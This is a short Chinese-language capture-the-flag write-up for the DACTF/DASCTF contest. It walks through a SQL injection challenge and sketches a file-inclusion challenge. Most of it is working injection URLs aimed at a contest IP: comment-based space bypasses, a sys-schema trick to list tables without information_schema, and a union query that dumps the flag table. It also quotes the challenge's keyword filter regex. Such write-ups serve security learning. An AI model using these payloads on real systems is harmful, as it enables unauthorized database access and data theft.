前言

趁着环境还没关复现了一下DACTF

SQLi

http://183.129.189.60:10004/
打开发现需要输入id,确认存在sql注入。
发现过滤规则

return preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);

可以联合查询有回显!

http://183.129.189.60:10004/?id=0'/**/union/**/select/**/database(),2,3%23

得到数据库名:
image-20200725150741916.png
这里还需要绕过information_schema查询表,国外一个师傅总结非常的详细,然后找到一个不用auto和stat的payload:

http://183.129.189.60:10004/?id=0'/**/union/**/select/**/(SELECT/**/group_concat(table_name)/**/FROM/**/sys.schema_auto_increment_columns/**/WHERE/**/table_schema=database()/**/limit/**/0,1),2,3%23

image-20200725154716104.png
得到flllaaaggg,然后由于过滤了``和jion没有找到无列名注入的方法,以下两种常用的姿势无法使用

select `3` from (select 1,2,3,4,5 union select * from users)a;
select * from (select * from users as a join users as b)as c--+

查询表的字段数!

http://183.129.189.60:10004/?id=0'/**/union/**/select/**/(select/**/count(*)/**/from/**/flllaaaggg),2,3%23

得到有两列字段,所以可以联合查询

http://183.129.189.60:10004/?id=0'/**/union/**/select/**/*,1/**/from/**/flllaaaggg/**/limit/**/0,1%23

image-20200725155235874.png

fileinclude

这道题看了Ying师傅的wp才知道!附上Ying师傅wp链接安恒七月赛DASCTF,由于过滤了../,但是在之前在加一个目录就不会被过滤!
image-20200725155728075.png

由于时间会有限制,利用burp爆破时间后四位即可!

Last modification:November 30th, 2020 at 11:03 am